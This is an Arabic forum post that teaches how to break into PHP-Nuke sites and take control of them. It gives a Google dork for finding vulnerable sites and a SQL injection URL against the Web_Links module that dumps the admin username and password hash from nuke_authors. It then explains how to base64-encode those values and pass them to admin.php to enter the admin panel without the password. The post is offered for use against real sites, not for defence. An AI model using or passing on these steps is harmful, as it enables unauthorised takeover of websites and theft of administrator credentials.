20/10/2007, 04:25 AM
|
|
|
|
|
|
لوني المفضل
Cadetblue
|
|
رقم العضوية : 5866 |
|
تاريخ التسجيل : Mar 2007 |
|
فترة الأقامة : 6683 يوم |
|
أخر زيارة : 09/06/2010 (12:03 AM) |
|
المشاركات :
49 [
+
]
|
|
التقييم :
10 |
معدل التقييم :
 |
|
بيانات اضافيه [
+
] |
|
|
|
|
شرح اختراق مجلة نيوك والسيطرة عليها
بسم الله الرحمن الرحيم
اختراق مجله nuke
طبع الثغره قديمه وفعاله الى الان
الثغره من نوع sql-injection
في هذا المره مش راح نشفر وطبعا بستطاعتك التشفير والحصول على الباس
ولاكن احنا راح نقوم بتحويل اسم المستخدم والباس المشفر الى base64
ومن ثم الحصول على تصريح لدخول الى لوحه التحكم الدمن
يالله نبدأ الرجاء الحار متابعه الصور جيدا وعدم وضع اسئله سخيفه
طريقه البحث قوقلي
اكتب الكود الاتي
كود:
كود بلغة HTML:
in url :"modules.php?name=Web_Links"
الصوره الاولى
هنا قمت بوضع الكود الاتي والحصول على اسم المستخدم الي هو الادمن رقم واحد
كود بلغة HTML:
modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20F ROM%20nuke_authors%20-- \\logins
الصوره الثالثه
هنا نقوم بتحويل الاسم والباس الى base64
وتستطيع عمل ذالك على اي موقع توجد به هذه الخدمه او اي برنامج
username:md5
الصوره الرابعه
هنا قمت بأضافه الكود الناتج الي هوbase64
بعد الوصله و admin.php?admin=base64
وسوف تكون في قلب لوحه التحكم ان شاء الله
طبعا هنا موقع اخر لانو الاول في مشكله في لوحه التحكم
|